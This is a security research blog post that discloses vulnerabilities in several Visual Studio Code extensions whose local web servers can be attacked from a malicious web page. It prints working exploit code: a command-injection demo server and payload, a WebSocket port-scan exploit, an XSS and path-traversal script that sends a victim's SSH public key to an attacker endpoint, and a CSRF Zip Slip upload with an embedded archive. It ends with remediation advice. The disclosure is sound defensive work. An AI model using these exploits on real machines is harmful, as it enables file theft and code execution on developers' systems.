Deep dive into Visual Studio Code extension security vulnerabilities

To stay ahead of attackers, we constantly monitor various security threats. One of these threats — supply chain attacks — aims to compromise an organization through its software development process. Recently, a huge spike in supply chain attacks was observed — dependency confusion was discovered, the SolarWinds breach was reported and more malicious packages were flagged. This certainly drew our attention (as well as the rest of the world’s)!

Through our research, Snyk has discovered a new vector for supply chain attacks: IDE plugins. Severe vulnerabilities were found in popular VS Code extensions, enabling attackers to compromise local machines as well as build and deployment systems through a developer’s IDE.

What’s the risk?

According to Microsoft, VS Code currently has 14 million active users, making it the most popular IDE with around 50% of the developer market share. That’s a huge attack surface. 

Additionally, IDEs are usually never left bare bones. Plugins and extensions are constantly getting installed to enhance the development process including code linting, deployment environment integration, file parsing, previewing, and more. All these plugins are written by third-party maintainers and curated on dedicated marketplaces. But can a developer that installs an extension guarantee that they don’t contain a vulnerability that can jeopardize their codebase or application? 

Developer machines usually hold significant credentials, allowing them (directly or indirectly) to interact with many parts of the product. Leaking a developer’s private key can allow a malicious stakeholder to clone important parts of the code base or even connect to production servers. Even simple things like environment variables usually contain important information: passwords for your proxy servers, tokens for CI/CD pipelines, and so on.

In this post, we’re going to focus on a special attack case which allows malicious actors to compromise developers by exploiting vulnerabilities in local web servers being run — sometimes unknowingly — by installed extensions.

The attack vector

The security flaws we are going to examine are introduced via VS Code extensions that start web servers. Typically, these servers are meant to be accessible locally via a browser or used for IPC purposes. If such a web server has vulnerabilities, though, it can be used by a malicious actor to target developers once they’ve installed an extension and activated it (usually done by just opening a relevant file).

By leveraging this attack scenario a malicious actor can steal important pieces of information, like RSA keys, and eventually access version control systems (VCS) or even connect to production servers and compromise the security of an entire organization.

To demonstrate this attack vector, we created a simple Node.js Express server running locally on a developer’s machine:

const express = require('express');
const cp = require('child_process');

express()
    .get('/', (req, res) => {
        cp.execSync(req.query.cmd);
        res.send('ok');
    })
    .listen(8765);

The server is listening on port 8765 and has a command injection vulnerability in cmd query parameter of a GET request to / endpoint. To exploit this vulnerability, a malicious actor can trick the developer to open a URL. Consider the web page the developer opened contains a simple img tag like:

<img src="https://127.0.0.1:8765/?cmd=echo%20pwned%20%3E%20~%2Fpwned">

As soon as the developer’s browser opens the web page, it loads all resources, including the URL listed in the src attribute of the img tag. Hence it makes a request to a vulnerable local server executing the malicious payload: echo pwned > ~/pwned

Before getting into our findings, we just want to note that compromising a service through a local web server is not new. One of the latest examples to showcase this vector is CVE-2019-13567 — a remote code execution in ZoomOpener which was part of the Zoom client for macOS. For more details about this specific vulnerability, check out this GitHub Gist with the exploit.

In our research, we decided to focus on the security of local HTTP and WebSocket servers, spawned by different Visual Studio Code extensions, to leverage this and additional vulnerability types.

Finding security vulnerabilities in VS Code extensions

We downloaded and analyzed top extensions from Visual Studio Code Marketplace and were able to find vulnerabilities in several popular extensions. Let’s have a deeper look at each case separately.

LaTeX Workshop

LaTeX Workshop is a popular extension for VS Code with about 1,200,000 installs. By default, whenever a developer opens a .tex file in the editor, the extension starts an HTTP server and a WebSocket server on a random port. The server is meant to preview a PDF file in the browser. We found that it is vulnerable to command injection due to unsanitized input from the WebSocket client flowing to the openExternal VS Code API method.

To exploit a command injection vulnerability, a malicious web page (hosted on ngrok.io in the video) has to connect to the local WebSocket server of the extension.

As the server listens on a random port, the exploit has to enumerate all possible ephemeral ports before it will be able to execute the malicious payload. For macOS it takes about 30 seconds to cover 13,383 possibilities (49152 to 65535).

Interestingly, Chrome browser has a protection mechanism which prevents a malicious actor from brute forcing WebSocket ports — it starts throttling after the 10th attempt. Unfortunately, this protection can be easily bypassed because both the HTTP and WebSocket servers of the extension are started on the same port. This can be used to brute force all possible local ports by checking the presence of a picture on a specific localhost port by adding an onload handler to an img tag.

The exploit which, as shown in the video, opens the calculator application on macOS:

<body>
Please wait...
<script>
    async function checkPic(url) {
        return new Promise(((resolve, reject) => {
            const img = document.createElement('img');
            img.onload = () => resolve();
            img.onerror = () => reject();
            img.src = url;
        }));
    }

    function exploit(port) {
        const socket = new WebSocket(`ws://127.0.0.1:${port}`);
        socket.addEventListener('open', () => {
            socket.send(JSON.stringify({
                type: 'external_link',
                url: 'file:///System/Applications/Calculator.app/Contents/MacOS/Calculator',
            }));
        });
    }

    async function scan() {
        for (let port = 49152; port < 65535; port++) {
            try {
                await checkPic(`https://127.0.0.1:${port}/viewer/favicon.ico`);
                return port;
            } catch (_) {}
        }
    }

    scan().then(exploit);
</script>
</body>

The payload is valid for version 8.17.0 of the extension.

Open In Default Browser

Open In Default Browser is an extension for VS Code which spawns an HTTP server to preview HTML pages in the browser. We found that the server is vulnerable to a path traversal vulnerability. In the context of the attack vector described in this publication, path traversal allows a malicious actor to steal sensitive files from the victim’s machine.

In the following demo video we were able to steal the id_rsa.pub file:

For this web server, we don’t need to brute force the port because it is hardcoded to 52330. Insted, we faced other challenges in order to exploit this vulnerability.

Every modern browser applies the same-origin policy (SOP) protection — blocking a page from making cross origin XHR GET requests to a different domain. To bypass this restriction, a threat actor needs to exploit an XSS vulnerability in the web server. As long as the extension allows previewing HTML files along with CSS and JavaScript, an attacker can simply craft an XSS payload, download it as a file, and open it in an iframe as shown in the picture:

Downloading the file is done without user interaction by simply creating an anchor tag in the DOM with href and download attributes and then calling the click() method on it to issue the XSS payload download on behalf of the user.

As the XSS payload is executed in the context of an iframe within the localhost domain, it can access resources previously unreachable.

Another complication of the exploit is that we have to specify a path for both id_rsa.pub and the XSS payload relative to the current VS Code workspace. Usually the workspace is in the user’s home folder, but it could be nested deep in the file structure. In the exploit, we simply tried to go up to ten levels (../) in the file structure.

The exploit which, as shown in the video, is able to steal id_rsa.pub on macOS:

<body>
Nothing to see here.
<script>
    // We guess that the workspace of a victim in at maximum 10 levels
    // deeper than his/her home folder.
    const maxNesting = 10;

    ///////////////////////////////////////////////////////////////////////////
    // The XSS payload.
    const payload = `
<body>
<script>
for (let n = 0; n < ${maxNesting}; n++) {
    fetch('https://localhost:52330/?/' + '../'.repeat(n) + '.ssh/id_rsa.pub')
        .then((res) => {
            if (res.status === 200) {
                res.text().then((data) => window.parent.postMessage(data, '*'));
            }
        });
}
</scr` + 'ipt></body>';
    ///////////////////////////////////////////////////////////////////////////

    ///////////////////////////////////////////////////////////////////////////
    // This part is enforcing the victim's browser to download the payload
    // as an HTML file.
    const fileName = `file_${Math.random()}.html`;
    const a = document.createElement('a');

    a.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(payload));
    a.setAttribute('download', fileName);
    a.style.display = 'none';

    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    ///////////////////////////////////////////////////////////////////////////

    // After a short delay we open a bunch of iframes trying to load
    // the file which a victim just downloaded.
    setTimeout(() => {
        for (let n = 0; n < maxNesting; n++) {
            const iframe = document.createElement('iframe');

            iframe.setAttribute('src', `https://localhost:52330/?/${'../'.repeat(n)}Downloads/${fileName}`);
            iframe.setAttribute('style', 'width: 0px; height: 0px;')

            document.body.appendChild(iframe);
        }
    }, 500);

    // In this handler we receive a message from one of the iframes.
    // The message should contain an id_rsa.pub file text. We send it to
    // our track.php script to save.
    window.addEventListener('message', (event) => {
        const formData = new FormData();

        formData.append('data', event.data);

        fetch('/track.php', {
            body: formData,
            method: 'post'
        });
    }, false);
</script>
</body>

The exploit is valid for version 2.1.3 of the extension. Almost the same vulnerability was also found in the Instant Markdown extension (version 1.4.6).

Rainbow Fart

Rainbow Fart is an extension for VS Code which plays sounds when a user types specific keywords in the editor. It turns out, this extension got installed more than 60,000 times and it is vulnerable to a Zip Slip vulnerability. This vulnerability, in the context of the attack vector, allows a malicious actor to overwrite arbitrary files on a victim’s machine.

The server, spawned by the extension on the port 7777, allows a user to import voice packages — ZIP archives containing MP3 files.

A malicious actor can craft a special ZIP archive with paths outside of the working directory of the extension using multiple ../ path segments. For example here’s payload.zip which contains a pwned file eight levels deeper than the CWD:

zipinfo payload.zip
Zip file size: 423 bytes, number of entries: 2
-rw-r--r--  3.0 unx       67 tx defN 21-Mar-30 15:40 manifest.json
-rw-r--r--  3.0 unx        7 tx stor 21-Mar-30 15:37 ../../../../../../../../pwned

To upload and execute the payload a malicious actor can use the fact that the /import-voice-package endpoint is not protected against cross-site request forgery (CSRF) attack, which allows them to make unauthorized POST requests to the endpoint from a specially crafted web page.

The exploit (hosted on ngrok.io in the video) makes a POST request to the https://127.0.0.1:7777/import-voice-package endpoint of the server and sends the ZIP archive we mentioned above. As a result, the pwned file appears in the user’s home directory. This attack could be used to overwrite files like .bashrc and gain remote code execution eventually.

<form id="form" action="https://127.0.0.1:7777/import-voice-package" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"/>
</form>
<script>
    var content = atob('UEsDBBQAAAAIAAh9flJsfe2lNgAAAEMAAAANABwAbWFuaWZlc3QuanNvblVUCQADLxxjYC8cY2B1eAsAAQT2AQAABBQAAACr5lIAAqW8xNxUJSsFpUQlHYhAWWpRcWZ+HkjMUM9AzwAmnpyfV1KUmVRakloMlIuO5arlAgBQSwMECgAAAAAAtXx+UgAM/acHAAAABwAAAB0AHAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wd25lZFVUCQADlhtjYJcbY2B1eAsAAQT2AQAABBQAAAAhUFdORUQhUEsBAh4DFAAAAAgACH1+Umx97aU2AAAAQwAAAA0AGAAAAAAAAQAAAKSBAAAAAG1hbmlmZXN0Lmpzb25VVAUAAy8cY2B1eAsAAQT2AQAABBQAAABQSwECHgMKAAAAAAC1fH5SAAz9pwcAAAAHAAAAHQAYAAAAAAABAAAApIF9AAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHduZWRVVAUAA5YbY2B1eAsAAQT2AQAABBQAAABQSwUGAAAAAAIAAgC2AAAA2wAAAAAA');
    var n = content.length;
    var u8arr = new Uint8Array(n);

    while(n--) {
        u8arr[n] = content.charCodeAt(n);
    }

    var blob = new Blob([u8arr], { type: "application/zip"});
    var file = new File([blob], "payload.zip");
    var container = new DataTransfer();

    container.items.add(file);

    document.getElementById('file').files = container.files
    document.getElementById('form').submit();
</script>

The exploit is valid for 1.4.0 version of the extension.

Remediation advice

A couple of years ago, developers were blindly installing and using 3rd party packages in their application’s code. Fast forward to today — most developers are aware of the dangers in using untrusted pieces of code and are using tools to scan and fix potential vulnerabilities these packages might introduce. As we’ve seen, IDE extensions hold the same risks and should be treated accordingly.

Since VS Code extensions use third-party packages inside them, developers should reuse the community knowledge by installing the most secure and popular dependencies instead of inventing their own wheel. For example, the Open In Default Browser extension could have used the send NPM package, to protect against path traversal vulnerability, instead of implementing a custom static server. The same is true for the Instant Markdown extension. In Rainbow Fart’s case, we would suggest using the extract-zip NPM package to prevent the Zip Slip vulnerability. As a general rule — developers should use the latest versions of their dependencies where possible, and continuously monitor them with Snyk Open Source to ensure their safety. 

In addition, security hazards can be introduced through first-party code written by the extension maintainers. We recommend using Snyk Code to perform static application security testing (SAST) and surface vulnerabilities. As an example, Snyk Code can easily detect the path traversal vulnerability in the Open In Default Browser extension:

The vulnerabilities we’ve shown focused on vulnerable implementations of local web servers.

In general, one should treat the security of a web server the same way regardless if the server is meant to run locally or in a production environment.

To protect a WebSocket server from accepting connections from untrusted domains, checking the Origin header is advised. As seen in the LaTeX Workshop extension, this simple check can completely eliminate the possibility of an attack.

Also, CSRF vulnerabilities are a common and dangerous threat. They are in the top ten of web application vulnerabilities according to the OWASP community. To mitigate this vulnerability, following the prevention cheat sheet is recommended. In the case of the Rainbow Fart extension, simply adding CSRF token to the uploading form will make the Zip Slip vulnerability unexploitable for the attack vector we’ve shown.

Conclusions

What has been clear for third-party dependencies is also now clear for IDE plugins — they introduce an inherent risk to an application. They’re potentially dangerous both because of their custom written code pieces and the dependencies they are built upon. What has been shown here for VS Code might be applicable to other IDEs as well, meaning that blindly installing extensions or plugins is not safe (it never has been).

Vulnerabilities can originate from bundled dependencies as well as from first-party code, and it’s up to the maintainers to continuously test and fix security issues in their extensions. Vulnerability scanner can help greatly in mitigating the risks of introducing vulnerabilities which can affect millions of developers. As a developer, security starts with you. Don’t let assumptions about tool security create an attack vector for bad actors.

Sign up for Snyk

Don't let assumptions put you at risk. Keep your code and dependencies safe for free with Snyk.